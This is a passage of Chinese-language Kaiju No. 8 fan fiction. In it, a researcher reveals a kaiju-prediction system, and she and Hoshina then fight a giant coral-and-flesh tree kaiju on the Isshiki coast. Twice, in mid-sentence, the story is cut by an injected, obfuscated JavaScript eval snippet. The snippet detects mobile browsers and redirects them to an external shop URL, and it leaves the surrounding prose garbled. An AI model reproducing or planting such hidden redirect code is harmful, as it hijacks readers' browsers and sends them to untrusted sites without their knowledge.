于是他晃出了办公室,熟门熟路地进入了研究所区域,径直走向那间无论多晚都大概率亮着灯的主实验室。 实验室的门无声滑开。 保科预想中暮戈伏在实验台前,或者对着满屏幕数据流拧眉的景象并未出现。 实验室的主灯关闭着,只有房间中央投射出一片巨大的、幽幽发光的全息影像,几乎占满了整个空间。那是一片极度精细的日本列岛及周边海域的地形图,但并非普通地图——无数细密的、淡金色的能量流线如同呼吸般在地表与海洋之下脉动、交织,形成了一张覆盖全国的、活着的网络。一些区域被标上了深浅不一的红色,其中几个红点正在缓慢移动。 像一片流金的星云,静静悬浮在黑暗的半空。 暮戈京矢背对着他,站在那片巨大光影前,身姿挺拔。她似乎刚进行完一系列操作,双手插在白大褂口袋里,微微仰头,绀青色的眼眸专注地审视着地图上某个闪烁的节点,侧脸被映出一片流光溢彩。 这景象太过震撼,保科下意识放轻了脚步,那句到了嘴边的“首席,该休息了”没能说出口。 他走近了几步,目光也被那幅动态的地图吸引。他能认出一些闪烁红点的位置,似乎与近期一些怪兽出现或异常能量波动报告吻合。 “……这是什么?”保科的声音不自觉地压低。 暮戈似乎并不意外他的到来,也没有回头:“‘长夜守望’系统。” 她语气平淡得像在介绍天气,但保科立刻明白了那是什么——传说中能将怪兽出现区域最大限度限制在无人区的预警系统。 "原来它长这样。"保科好奇地凑近观察着,"听说上周琦玉的兽级3.2能及时疏散,就是靠它的预警?" "是,地脉扰动比预期早了四小时。" 暮戈京矢抬手虚虚抓放,将地图迅速拉大到关东地区,更多细节呈现出来。保科三年前学习交流时听相关研究员介绍过,这套系统能通过监测地壳应力、地脉能量流、生物活性残留信息素等七十二项参数,建立怪兽活动预测模型。 目前划分的讨伐区,有83%是基于它的动态演算结果,目的是将怪兽出现和战斗造成的损失,最大限度限制在无人或低人口密度区。” “这个不会...是你做的?”尽管心中已经隐隐有所猜想,保科还是近乎喟叹地问了出来。 "嗯。"暮戈承认得坦然,"不然你以为总部为什么容忍我那些''不合规矩''的实验?" 何止是容忍,顶着那一箩筐骇人听闻的罪名在军事法庭走几个来回还能“官复原职”,甚至资源渗透比之前更甚的人,整个军队体系上下也只有她暮戈京矢一个。 “这是我最满意的作品......之一。”她的语气听不出多少自豪,跟她以前偶尔流露出来的那种作为研究者的“天才式骄傲”截然不同。 保科静静地看着。他亲身经历过被这个系统划定的战场,知道那意味着什么——将不可控的灾难,尽可能地约束在可控的范围内;将盲目的防御,转变为有准备的阻击。这背后拯救的生命、减少的损失,是一个天文数字。其战略意义,颠覆了以往人类对抗怪兽的被动模式。 三年前,这个系统问世的时候,暮戈京矢才21岁。 "了不起。"他由衷赞叹道,“肯定花了很大功夫。” “确实费了不少功夫。”暮戈收回手,转过身,靠在控制台边缘,双手插回口袋。背后那片“星云”的微光在她脸上投下淡淡的阴影,眼下那片青色似乎比平日更深了些。 保科察觉到她语气里那极其罕见的、近乎疲惫的痕迹,试图用轻松的语气驱散空气中莫名的沉重:“哦?难得听到首席说有觉得‘费劲’的东西。我还以为你做什么都像吃饭喝水一样简单呢。” 暮戈沉默着看了他一眼,似乎在评估是否应该对他说些什么。 最终,她的目光重新投向那片全息国土,那眼神很深,仿佛穿透了此刻,望向了某个遥远而黑暗的地方: "核心理论的支撑数据,大半来自海外勘测。"她的声音依旧平稳,却像深潭投入石子,"比如秘鲁那条地裂。" 保科的笑容微微收敛。他听说过那个传言——科塔华西峡谷地裂勘测队,在他曾经从保科宗一郎那收到的那份加密档案里,记载得更详细些:那并非官方派遣的顶尖队伍,而是一群装备落后、没有政府支持却怀着一腔孤勇的人们。他们凭着赴汤蹈火的决心深入险境,最终却永远消失在了地裂深处,只留下一套残缺却至关重要的数据。 "那次之后,''长夜守望''的核心算法才真正完善。"暮戈继续说着,仿佛在念实验报告。 她抬起手,指了指全息地图上某个不起眼的、代表着海外数据接入点的标记。 “那场勘测,下去了十七个人。” 她的指尖在空中停顿了一下,然后轻轻落下,点在控制台冰冷的表面上。 “只有我一个人,活着上来了。” 遮蔽的阴影和流动的光华交错分割下,一种可以称得上“痛苦”的情绪迅速掠过她面无表情的脸。 保科脸上的笑容消失了。他看着她,喉咙有些发紧。 那些流动的数据、宏大的战略意义、精准的讨伐区……在这一刻,突然有了沉重到无法呼吸的底色。 暮戈京矢看着“星云”中那些代表着已成功规避灾难的淡蓝色安全区域,从无到有构建这套系统的过程中,几乎每次有去无回的勘测,血雨腥风的资源争夺,无数次交叉验证和迭代,总部的质疑和掣肘...... “...真的很难。”她几乎是低不可闻地说。 短暂的寂静后,保科极轻地吸了口气。他什么也没问,也没有说“这不是你的错”或“都过去了”这类苍白的词,只是转身,走到一旁的恒温柜前,接了一杯温水。 他将水杯轻轻放在暮戈手边的控制台上,杯底与台面接触时发出一声轻响。 暮戈京矢垂眸看着那杯水的波纹,一言不发地拿起来喝了一口,和着更多难以言说的东西咽下—— 只是再怎么举步维艰,她这一生都注定要成为一支永不回头的箭矢。 否则,她该如何面对那曾经注视过她,最后却消失在地裂深处的十几双眼睛? …… 实验室陷入一片沉寂,只有设备运行的嗡鸣和全息星云流转的微光。 就在这时—— 暮戈京矢面前那片覆盖关东地区的“星云”中,代表房总半岛东南外海、一色海岸附近的区块,几道原本平稳流淌的淡金色能量流线骤然紊乱! 它们像被无形的手粗暴地搅动,剧烈地扭曲、缠绕,颜色在几秒内从淡金转为警示性的橘红,并迅速向刺目的猩红过渡! 一个尖锐的三角警示符在区块上空跳动起来,旁边浮现出急速攀升的能量读数。 【警报:检测到高强度地脉能量异常聚合。】 【坐标:东经XXX,北纬XXX,一色海岸以东12海里。】 【预测破出时间:25-40分钟。】 【初步能量评级:7.5 - 8.0(存在上行波动风险)。】 冰冷的机械合成音在实验室里响起,暮戈京矢的侧脸骤然冷峻,所有的疲惫、那一闪而过的痛苦,瞬间被冷静与专注覆盖。 “实战测试的目标出现了。”她声音里所有软弱的情绪都已消失无踪。 保科同样神色一凛,身体下意识绷紧,目光锐利地锁定了那个红点:“一色海岸……距离东京太近了。” “所以是第三部队的防区。”暮戈的手指已经在控制台上飞速操作,将警报信息、坐标、以及“长夜守望”系统生成的初步生物模型与威胁评估,打包成最高优先级指令,接着转身面向保科:“副队长,67%的解放战力,对阵可能达到8.0级的未知目标。你的十号战斗服,最后一次完整自检是什么时候?” “两小时前,一切正常。”保科回答得干脆利落。 “很好。”暮戈关闭了全息投影,实验室的主灯随之亮起,驱散了那片星云与它带来的所有沉重回忆,“‘长夜守望’为我们争取了大约47分钟的先机。这47分钟,是疏散民众、部署防线、抢占战术主动权的关键。” 保科戴上从不离身的联络器,清晰地下达指令:“目标:一色海岸以东海域,预估7.5级以上。通知小此木,启动一级战备,所有轮休人员即刻归队。” 不到五分钟后,刺耳的警报声响彻整个立川基地。第三部队紧急出动。 讨伐开始了。 等先遣无人机拍摄的实时画面传来,一色海岸前线临时指挥部的所有人员都呼吸一窒。 漆黑的天幕之下,翻涌的海潮之上,一棵顶天立地的、由苍白珊瑚与蠕动血肉交织而成的巨树矗立在天海之间,那并非常规意义上的生物,甚至超出了过往记录里任何一种怪兽模型范畴。 它高度近乎千米,庞大的根系深深扎入海床,搅动着墨蓝色的海水,周身覆盖着无数晶状体鳞片,随着它的呼吸微微开合,将光线与云层折射成一片扭曲、晃眼的光晕,严重干扰了雷达锁定与光学瞄准,使得其本体的位置和距离感都变得模糊不清。 “是...新型植物体主兽!代号...P-003!” 那名联络员的声音微微颤抖,从未见过的新型主兽,而且...这也太大了! 更棘手的是,如同腐烂树根上滋生的霉菌,密密麻麻、形态各异的余兽正从它躯干的分裂口中源源不断地涌出,如同白色的潮水,向海岸线扑来。而在这片兽潮中,赫然存在着三头体型远超同侪、能量反应接近主兽的个体! “确认三头高能量反应目标!”通讯频道里响起指挥官紧绷的声音,“代号‘分裂体A、B、C’!” “第三部队全部分队到达海岸!”小此木清亮的声音响起,“‘ll’型战线已部署!” 暮戈京矢站在她身后,看着那几乎遮天蔽云的巨树,在一片昏黑的海水中散发着莹莹磷光,有一种近乎妖异,令人极度不安的美感,灰白的兽潮如同快速扩散的油墨,转瞬覆盖视线可及全部海域,对比之下,第三部队刚刚建立的防线显得渺小又脆弱。 “……能量读数突破阈值,重新校准……8.7级!确认为8.7级!” 监测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813971|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员的声音像是被人掐住了脖子。 暮戈京矢眉心一跳。 长夜守望’对自然显现的预测误差不会超过0.3级。 “小此木,给我批一套战斗服。”她的声音平静得像在点单,“现在。” 说着,她调出了卫星云图与海底声呐的实时叠加数据。屏幕显示,一色海岸外海约十五公里处,海底地壳出现了一个短暂但剧烈的能量喷发点。 并非常规的地脉扰动,能量攀升曲线异常陡峭,有强烈的外部干扰特征……像是被‘投送’过来的 暮戈盯着那违背常理的移动轨迹和数据,眼神冰冷,这不是自然显现。有人,或者什么东西,在他们‘预定’的无人区之外,提前‘引爆’了它。 她的目光回落到屏幕上那棵瞬间把“实战测试”变成“末日预演”的苍白巨树,绀青色的眼睛一眨不眨。 是九号。 ...... 一色海岸战线,亲临前线与在无人机拍摄的画面感受的压迫感完全不同。 今夜无星无月,海岸线却被笼罩在一层的光晕之下,也照亮了防卫队员每一张严阵以待的脸庞,那光源来自巨树深入云层的顶端。 “太大了……”一名年轻队员声音发颤。 “别发呆!”保科宗四郎的声音透过面罩传来,沉稳有力。他正利用十号战斗服提供的惊人弹跳力,在废弃的吊机、破碎的廊桥之间高速移动,双刀挥出巨大无形的斩击,将不断从海里涌出的、形态各异的余兽成片清除。“注意脚下海水!余兽的突袭来自任何方向!” 战斗伊始,一切尚在控制之中。各部队按照既定战术,清理余兽,为主力攻击创造机会。 然而,当三头体型远超寻常、如同移动小型要塞的主兽级余兽从不同方向破浪而出时,战局瞬间倾斜。其中一头形似巨型海葵的个体,其触须无声地分泌出无色无味的神经毒素,迅速在海水中扩散。 “小心海水!确认有神经毒素反应!”监测员的警告刚刚响起,已经晚了。 毒素随着飞溅的浪花和破损的管道系统悄然蔓延,一些正在近岸与余兽缠斗的队员,动作突然变得僵硬迟缓,随即如同被割倒的麦秆般成片倒下,连惨叫都来不及发出。医疗班冒着风险上前拖拽,场面瞬间陷入混乱与恐慌。 “身体……动不了……” “呃啊——!” “撤退!全体向高地撤退!”通讯频道里一片混乱。 保科心头一紧,得益于他灵动的、几乎不接触海水的战斗方式,他奇迹般地未被毒素波及。他眼睁睁看着熟悉的队员们倒下,一股冰冷的愤怒涌上心头。 “是C型!火力能覆盖到吗?!”那只怪兽蛰伏在兽潮之后的海面下,离能立足的海岸很远,毒素却蔓延极快。 “...不行!远程攻击大部分被偏转了!”通讯频道里传来前线指挥官焦急的声音。 针对性。 保科脑子里蹦出这个词,这次的怪兽,简直就跟了解第三部队战力结构和讨伐习惯似的,先是光线折射让亚白队长的狙击难以发挥,然后是威力被海面环境扩大无数倍的神经毒素,连那头释放毒素的怪兽出现的时机都像计算好了一样! 【十号!】他在意识中喊道。 【看到了!保科!那些倒下的太碍事了!先把那三个大的干掉!】十号的战意如同沸腾的岩浆。 “不,先解决那个放毒的!”保科瞬间做出决断,目光锁定了那头潜伏在水下的海葵状主兽。“它的威胁最大!” 【啰嗦!我知道!】 暗红色的身影在黑潮中不退反进,几乎是硬生生劈出一条通往那只毒素源的道路,带着简直是玉石俱焚的架势扎入了那片早已毒素横流的海水! 【保科流刀伐术一式 隔空斩】 斩击破开海面,威势丝毫未减,直接切开了水下海葵状主兽的躯体。保科顺势在空中翻腰,目光穿过层层黑浪,精准锁定它被掀了一半的“伞帽”中露出的核心。 【三式 折返斩】 “C型生命体征消失!” 通讯频道把这一令人振奋的消息传遍整个防线,保科轻巧几个空翻落在一处礁石上,落脚刹那就清出一片“真空带”,这才对着耳麦下达指令:“还没完呢,全员后撤两个距离单位,避开已被毒素侵染的海域。” 他的声音像一根定海神针,暂时稳住了一度摇摇欲坠的防线,队员们迅速回缩阵型,更多的重型炮火倾泻而出,战斗彻底白热化。 ...... 暮戈京矢把这堪称火中取栗的一幕尽收眼底,不自觉掐了下手心,转身走向装备区:“准备出击通道。” “首席!现在情况太危险了!”小此木的声音在身后响起。 “所以我要去,减少人员损耗是最高优先级。”暮戈头也不回,目光扫过战场分屏。 等待战斗服就位的间隙,战场画面已经一片混乱。尤其是当C型分裂体死亡几分钟后,随着巨木躯干磷光亮起,更多的余兽伴着巨浪涌了出来,阵线转瞬再次被冲得岌岌可危。 “第三小队!别碰海水!撤回来!” “第五小队你们右边……天啊!保科副队长你怎么跑到那个位置去了?!” 小此木的调度声在频道里此起彼伏,逐渐抓狂。 坏消息像被捅了马蜂窝。队员接二连三倒下,防线左支右绌。保科所在的区域压力陡增,他几乎是以一人之力,在一片溃退中扛住了一片小分区的缺口,双刀翻飞,效率奇高,就是位置有点过于突出,像蛋糕上那颗唯一没被融化的草莓——显眼,且危险。 “副队长!C型毒素扩散模型显示你所在礁石区域三十秒后危险等级升到红色!请立刻向二号高地转移!这是命令!”小此木快急死了。 “收到,马上。”保科那边还能听到刀锋破空的声响,这一声“马上”一直延迟到了40秒后,他还在那片快被隔离的礁石区,暗红色身影蹦跶出一道诡谲优雅的曲线。 暮戈京矢闭了闭眼。 “副队长,撤退!求你了!”小此木的声音尖了起来。 保科抽空回头扫视一眼后方战线情况——退不了一点。 “别那么紧张嘛,小此木——第五小队直接换位去补右翼的空缺!”他甚至有闲心指挥——把自己身后最后一小撮队员调度去支援一处缺口。 小此木:“……” 她觉得自己的血压和怪兽的等级一起飙升了。 暮戈京矢看着屏幕上那个在兽潮与逐渐漫延的毒水中闪转腾挪、险象环生却坚决不退的身影,下颌线微微绷紧。她认得那种姿态,那种语气——和当时在十号面前,一次次倒下又爬起,笑着说“还活着”时,一模一样。 战后录像里看着是一回事,亲历其中又是另一回事。 就在这时,或许是某头巨型余兽的垂死挣扎,或许是巨木P-003的某种脉动,一道遮天蔽日的滔天巨浪毫无征兆地掀起,裹挟着无数残骸和可疑的浑浊颜色,朝着保科所在的那片礁石区狠狠拍下! 分屏画面瞬间被浑浊的海水淹没,信号断崖式下跌,变成一片模糊的灰白雪花。 通讯频道里只剩下浪涛的轰鸣和刺耳的电流盲音。 “保科副队长?!”小此木失声喊道,声音变了调。 一秒,两秒……死寂。 总控室里所有人的心都沉了下去,几名操作员脸色发白。 就在小此木手指冰凉地去够那个红色紧急按钮时—— “喂喂?听得到吗?刚才信号好像不太好。” 保科的声音,带着一如既往的笑意,甚至有点漫不经心,突然重新出现在频道里。屏幕上的生命信号也顽强地跳了出来,位置显示他在……几十米外另一处更高的礁石上。 “别担心嘛,小此木,”他仿佛能看到总控室里众人的表情,语气轻松地补充道,“还活着呢。” “砰——!!!” 暮戈京矢一拳让面前的合金支架台“英勇殉职”,她面无表情地收回手,转向旁边吓得屏住呼吸,负责校验出击通道的技术员,用听不出任何起伏的语调问: “还要多久。” 28.“自杀式冲锋” 战场另一端。 距离海岸线数公里外,一座废弃的沿海高架桥顶端。 这里风声凛冽,视野开阔,能将整片混乱的海岸战场尽收眼底,是绝佳的远程火力点。 亚白米娜半跪在加固过的桥面掩体后,狂烈的海风将她束在脑后的黑色长发向后吹拂。她身侧是那杆经过暮戈京矢亲手调试、加装了特殊能量稳定器的重型狙击炮。这并非相模原讨伐战中那惊天动地的武器,而是弹药储备相对充足,射速更高,在这种混乱且暂时没办法锁定主兽本体的战况下更灵活的新型武器。 她的战场,从这里开始。 透过超远距离复合瞄准镜,她的视野覆盖了大半个混乱的战场。她最初的目标,是那棵顶天立地的苍白巨树。屏息,计算风向、湿度、能量干扰、光线折射……第一发校准射击划破天际,精准命中巨树躯干上一个疑似能量节点的位置。 然而,预想中的爆炸或碎裂并未发生。那足以洞穿重型装甲的一击,如同投入水中的石子,只在巨树表面那层扭曲的光晕中荡开一片更加迷离的涟漪,光束诡异地发生了偏折、散射,甚至有一部分被原路折射回来,在她侧前方的海面上炸起巨大的水柱。 巨树本体在海市蜃楼般的光晕中纹丝不动。 她又试了两枪,结果完全相同。 “光学折射干扰达到理论峰值……远程物理攻击效果趋近于零。”亚白米娜低声自语,眉头微蹙。常规的远程火力,在这层天然的“偏光盾”前,近乎无效。 就在她尝试的这几秒里,战况急转直下。 通讯频道里传来更多的惊呼和倒地声,防线在毒素海水和源源不断的余兽冲击下,如同暴风雨中的沙堤,摇摇欲坠。尤其是左翼,压力巨大。 亚白米娜没有丝毫犹豫,立刻调转枪口。她放弃了短时间内无法解决的本体,将狙击炮的射速调整到高效压制模式。 咻!咻!咻!咻!咻! 一道道炽白的光束划破昏暗的海天,不再追求单发的毁灭性,而是如同疾风骤雨,以惊人的频率和精度,泼洒向海岸线。每一发光束落下,都至少有一头甚至多头正在冲击防线的余兽被蒸发或重创。她的火力织成了一场逆行的流星雨,哪里防线压力最大,白光便瞬间抵达,尤其是余兽最密集的登陆点和试图迂回包围的兽群侧翼。 她的射击几乎没有间隔,弹道计算、能量装填、风向微调在她手中如同呼吸般自然流畅,一人一枪,就是一整支重火力支援部队。 作为极为罕见的枪炮特化型天才,这种超视距的、覆盖式的火力支援,正是她无可替代的价值。在混乱的近身绞杀战中,她的每一发炮弹,都可能决定一个小队乃至一整段防线的生死。 但她打得很“克制”。 她的炮火始终避开近岸浅水区和队员们密集交战的位置。不仅仅因为那里敌我混杂,更容易误伤。更因为,经验告诉她,过强的能量冲击在如此近的距离轰入海中,极易引发不可控的巨浪和海啸,将致命的毒素拍向更多队员,甚至可能将倒地未死的队员卷入深海,那对正在海水中艰难作战的队员们将是毁灭性的二次打击。 这份克制,让她必须将火力投射得更远,计算更加精妙。 她只能压制中远距离的兽潮,眼睁睁看着近点的压力持续增大,看着队员们奋力搏杀,看着那个暗红色的身影在最危险的前沿跳跃。 通讯频道里,小此木焦急的调度声、队员的呼喊、保科那家伙永远带着笑意的敷衍回答……交织在一起。亚白扣动扳机的手指稳定如初,但眼底深处却闪过一丝不易察觉的焦灼 “保科……”她的目光扫过那个在极端靠近污染区边缘疯狂穿梭的暗红色的身影,看着他以一种近乎炫技的方式,突入C型分裂体所在的污染区,看着那标志性的双刀流爆发,悍然击碎核心,她一直平稳的呼吸也微不可闻地松了一口气。 “干得漂亮。”她的低语吹散在风里。 她清楚保科不退的理由。不仅仅是为了顶住缺口,更是因为,他是此刻战场上唯一有可能穿透那层该死的光学干扰、靠近核心的人。他在用命为她,为整个战场,创造那个稍纵即逝的“窗口”。 而她的任务,就是在他创造机会之前,用最猛烈的火力,为他、为所有队员,尽可能撑住这片天,清理掉所有可能干扰他的杂兵。 他负责抵近侦察、制造混乱、吸引火力;她负责远程压制、清除威胁、一击必杀。这是第三部队正副队长之间,无需言明的战术默契,是多年来并肩作战形成的本能。 亚白再次将枪口对准远处那些试图集结的余兽群,在混乱的战场上编织出一道道安全的空白区域,为濒临崩溃的防线强行续命。 她在等待。 等待那个暗红色的身影,为她点亮那一瞬间的“靶心”。 ...... 暮戈京矢踏上被怪兽粘液和海水浸透的沙滩时,身上穿着防卫队标准制式的深色战斗服。与制服格格不入的是她手中提着的两件武器: 左手是一把造型粗犷、枪口呈现出不规则扩散射状的重型枪械,枪身上布满了散热鳍片和复杂的能量回路指示灯,看上去就像把一个小型反应堆粗暴地焊在了握把上——这是用于乱局暴力突破的KS-9000霰弹冲击炮。 右手则反握着一柄长杆武器:长约两米,握柄漆黑,前端是两侧开刃却窄如柳叶的银白色锋刃,线条流畅冰冷,与其说是刀剑,更像一柄放大了数倍的巨型手术刀。这是她的惯用武器之一,专为高速突进、精准点杀与复杂环境下的支点操作而设计。 她的身影出现在总控室侧方小屏幕时,小此木一眼就看到了同步过来的基础数据: 【解放战力:60%】 【生理状态:稳定】 60%——这放在第三部队,已经是足够担任前线小队长、独当一面的优秀水准。但在8.7级兽潮前显得单薄。 。 “暮戈首席!”小此木急忙接入频道,“副队长前方区域密度过高,建议先与右翼……” 话音未落,数头卡车大小的余兽已从不同方向扑向暮戈! 小此木的警告卡在了喉咙里,因为她看到屏幕上,代表暮戈京矢的数值,在余兽发起冲锋的瞬间,如同被按下发射按钮的火箭,从稳定的60%猛然向上窜去! 65%...70%...75%...80%! “什么....?”小此木差点以为自己眼花了。这怎么可能?常规队员的解放战力提升需要酝酿、需要神经调动、需要战斗服逐步响应。这种瞬间的、几乎违背物理规律的飙升… 战场中,暮戈动了。 没有蓄力,没有瞄准。 砰——!!! 不是子弹的尖啸,而是一声沉闷的、仿佛空气被瞬间抽干再狠狠炸开的爆轰!一道肉眼可见的、扭曲着蓝白色能量的粗大脉冲束呈扇形狂猛喷发,将正前方扇形区域内三头余兽连同它们脚下的礁石、海水一起,粗暴地湮灭、推平,灼热的气浪将沙砾熔化成短暂的玻璃态。 脉冲的强光还未散尽,暮戈已从爆轰的反冲中借力,右侧两头未被波及的余兽刚调整姿态,那柄长柄窄刃的刀尖已经点在第一头余兽挥来的前肢关节凸起处,轻轻一挑,怪兽那庞大的力量竟然被带偏,身体失衡前倾,刀柄尾端在她掌心一旋,变为正握,借着怪兽前倾的力道,她整个人如同撑杆一般,瞬间弹射向半空,恰好避开了第二头余兽横扫而来的巨尾。 她在空中就着头下脚上的姿势短暂滞空,左手枪械再次泛起危险的光芒,这一次是短促的点射。 砰!砰! 两发小威力但极度凝实的能量弹,精准击穿了怪兽胸腔中可能是核心所在的位置,怪兽的咆哮戛然而止,轰然倒地。 当最后一头余兽倒下,数据瞬间回落: 【解放战力:61%】 【生理状态:稳定(轻微波动)】 暮戈京矢落地,呼吸不乱,只是战斗服的表面蒸腾起淡淡的白汽——那是肌肉瞬间剧烈做功后高效散发的骨热。 小此木张着嘴,半天没说出话。她见过很多高手,保科副队长的精妙刀术,亚白队长的绝对火力,甚至是鸣海队长的远近兼备......但像暮戈首席这种,将解放战力如同拧水龙头一样,瞬间飙升至远超常态、又瞬间回落的操控力,她闻所未闻。 这不是简单的力量爆发,这是对自身生理状态——呼吸、心跳、激素分泌、神经募集、甚至是骨骼肌肉产热,达到骇人听闻级别的绝对掌控。需要极端冷静的头脑,非人的身体感知,以及……对自己极限的残酷挖掘。 “小此木,”暮戈平静的声音传来,打断了她的震惊,“保科的实时位置。” “啊…是!”小此木一个激灵,连忙报出坐标,“首席,那边……” “知道了。” 暮戈没再听完,几个纵跃,向着那片最为混乱、最为危险的核心战区疾驰而去。长刃不时轻点地面或残骸,提供不可思议的变向和加速,重枪偶尔轰鸣,在密集处撕开短暂的通路。她的解放战力稳定在61%,仿佛刚才那瞬间飙升至80%以上、秒杀数头巨兽的恐怖爆发,只是一次微不足道的热身。 当她如同切开黄油般撕裂最后一道兽群阻隔,来到保科身边时,他正将双刀从那头A型分裂体的核心中拔出,暗红色的装甲上沾满了粘稠的□□。 “哟,首席,”保科喘了口气,深红色的眼眸在看到她时亮了一下,伸手拉了她一把,随即又凝重地望向远方,“你也看到那个‘大灯泡’了?” 暮戈顺着他目光看去。 那棵顶天立地的“P-003”静静地矗立在深海中,其顶端,一个巨大的、如同畸形心脏般缓缓搏动的半透明器官,正透过厚重的黑云,散发出令人不安的、忽明忽暗的惨白光芒。那光芒并不刺眼,却带着一种诡异的扭曲感,正是干扰所有锁定与视线的源头。 “常规空中支援无法穿透干扰层,亚白需要至少五秒的绝对清晰弹道。”暮戈京矢快速说。 保科一刀劈开一头近身的余兽:“常规推进太慢,等我们清过去,前线已经泡在毒汤里了。” 那会死很多人的。这句话他没说出口。 暮戈也没有说一句关于“撤退”或者“安全”的话。 “计划是?” ...... 当保科的声音透过满是杂音的通讯,说出那个简单粗暴到极致的计划——“一路砍过去,打碎特异器官,给亚白队长开路。”时,整个立川总控室陷入了短暂的死寂。 这位副队长紧接着补充了计划的核心:“路线是——直线。穿过正面毒潮,攀越主兽躯干。” ...什么玩意?指挥室所有人以为自己集体幻听了。 小此木头皮发麻。直线穿过毒潮?那意味着放弃所有迂回,直接冲进余兽最密集、海水毒素浓度最高的区域!顺着主兽躯干爬上去?那株“P-003”表面布满了活动的晶簇、分泌黏液的孔洞和能量乱流,它本身就是一个不断蠕动、攻击的死亡地带!这已经不是大胆,这简直是疯了! 通讯频道里沉默了两秒,大部分以为保科副队长又在开一个不合时宜的玩笑,小部分觉出味来的祈祷着暮戈首席能制裁他。 这计划疯狂得不像是防卫队战术,更像是某种自杀式行为艺术。正常人根本整不出这死出。 但暮戈京矢不是“正常人”。她是能在试验场把副队长锁死在地,然后对怪兽下战书的人。 于是他们听到频道里传来那位暮戈首席的声音,只有两个字: “一起。” 小此木:“……???” 保科那边传来一声有些失真的低笑,:“哇...小此木会吓疯的。” 暮戈似乎也短促地笑了一下,说出来的话却让指挥室所有人血液冰凉:“你自己去给她提交五千字的行动合理性检讨书吧。” 这、这俩人……是认真的?! “欸——?五千字?首席你这是报复!” “六千。” “……行吧。” 等等!什么计划?什么检讨书?首席!您过去难道不是把副队长拽回来的吗?!小此木终于找回了自己的声音,内心几乎要炸裂:“副队长!这不可能!我们无法提供任何支援,你没有任何掩护——” 然而,屏幕上的两人已经结束了简短到可怕的“战术商讨”。 下一秒,在总控室所有人目瞪口呆的注视下,那代表保科的暗红色光点和刚刚加入战场的深蓝色光点,毫无预兆地、义无反顾地,同时朝着那片被标注为【绝对死亡区】的、主兽脚下的恐怖黑潮一头扎了进去! “他们冲进去了!!!”监测员失声喊道。 “不——!!!”小此木的尖叫卡在喉咙里,变成无声的惊恐。她眼睁睁看着那两个代表生存希望的信号点,瞬间就被代表高密度敌意的“黑潮”彻底淹没! “没有接应!没有路径规划!” “疯了吗?!那里没有地面支撑!全是毒水和怪兽!” “通讯!快阻止他们!” 惊呼声此起彼伏,他们无异于直接跳进绞肉机! 主屏幕上,通过高空无人机勉强捕捉到的画面更是让所有人心跳漏拍—— 没有地面,只有被毒素染成怪异颜色的翻滚海水和漂浮的怪兽残骸。 没有道路,视线所及全是舞动的触须、滴落粘液的巨口、和锋利的爪刃。 而那两个人,那两道渺小的身影,竟然真的放弃了所有稳健的推进,放弃了构建防线,将速度与灵活性提升到极致,他们没有“路”,于是便自己创造“路”。 没有落脚点?那就踩在扑来的余兽背脊上、头颅上,甚至利用十号尾巴的缠绕和暮戈长刃的点刺,在怪兽之间进行不可能的短暂借力。保科一刀劈开前方障碍,暮戈的重枪就轰开侧面扑来的威胁;暮戈的长刃为保科点出一个脆弱的着力点,十号的尾巴就顺势卷住她的腰际帮她稳定身形,进行下一次接力飞跃。 海水剧毒?那就绝对不能落海!每一次腾跃都必须精准,每一次借力都必须有效,他们踩着怪兽的尸体和彼此的肩膀,身影在空中不断交错,以对方的身体、武器、甚至攻击产生的气流作为二次加速或转向的支点。在沸腾的毒海与兽潮中,硬生生走出了一条笔直向前、通往主兽躯干的、不可能的“钢丝”。 所有的动作,所有的计算,所有的能量,都只为了一个目的:在坠落或被淹没之前,找到下一个支点,向着那株巨树,再靠近一寸! 屏幕上,只能看到两个微弱的光点在代表着超高密度威胁的红色区域里艰难地、却又坚定不移地向前移动。 每一次借力都险之又险,每一次跳跃都仿佛下一秒就会坠入万劫不复的毒海。两人的生命体征曲线在屏幕上剧烈跳动,如同狂乱的心电图。 “天哪……” 指挥室里,几个心理承受能力稍弱的技术员已经感觉眩晕,下意识地捂住了嘴,几乎要呕吐出来。这视觉和心理的双重冲击太过强烈,比任何怪兽恐怖片都更挑战神经——因为屏幕上的不是特效,是两位他们认识的长官,正在执行一项肉眼可见“不可能”的任务。 小此木死死抓着控制台边缘,指节发白,心脏狂跳得快要从嗓子眼里蹦出来,眼睛一眨不眨地盯着那两个在毁灭浪潮中艰难前行的光点,心中只剩下一个念头: 快一点……再快一点……一定要……到达啊! 距离,在无法想象的突进下,被一寸寸缩短。 五百米……三百米……一百米…… 那两道疯狂的身影,竟真的以这种匪夷所思的方式,奇迹般地穿透了重重兽潮与毒海,真正贴近了那苍白、蠕动、布满晶状体的主干。在这里,来自主兽本身的威胁陡增——挥舞的能量触须、不时剥落砸下的尖锐晶簇、还有那越来越强烈的、令人头晕目眩的干扰光晕。 两个光点义无反顾地撞入了那片光晕的边缘。 屏幕上,他们的实时影像开始剧烈波动、闪烁,拉出诡异的光痕,声音信号也充满了刺耳的杂音。 小此木的心脏提到了嗓子眼,她徒劳地试图增强信号过滤:“首席!副队长!请报告具体状况!能见度如何?” 短暂的、只有电流噪音的间隙。 就在他们的身影即将被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833124|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那片炫目而扭曲的光晕彻底吞没、从侦察镜头和稳定监测中“消失”的前一刻—— 保科的声音突然切了进来,瞬间压过了所有杂音: “小此木,听好。” 他的声音让总控室所有人精神一振。 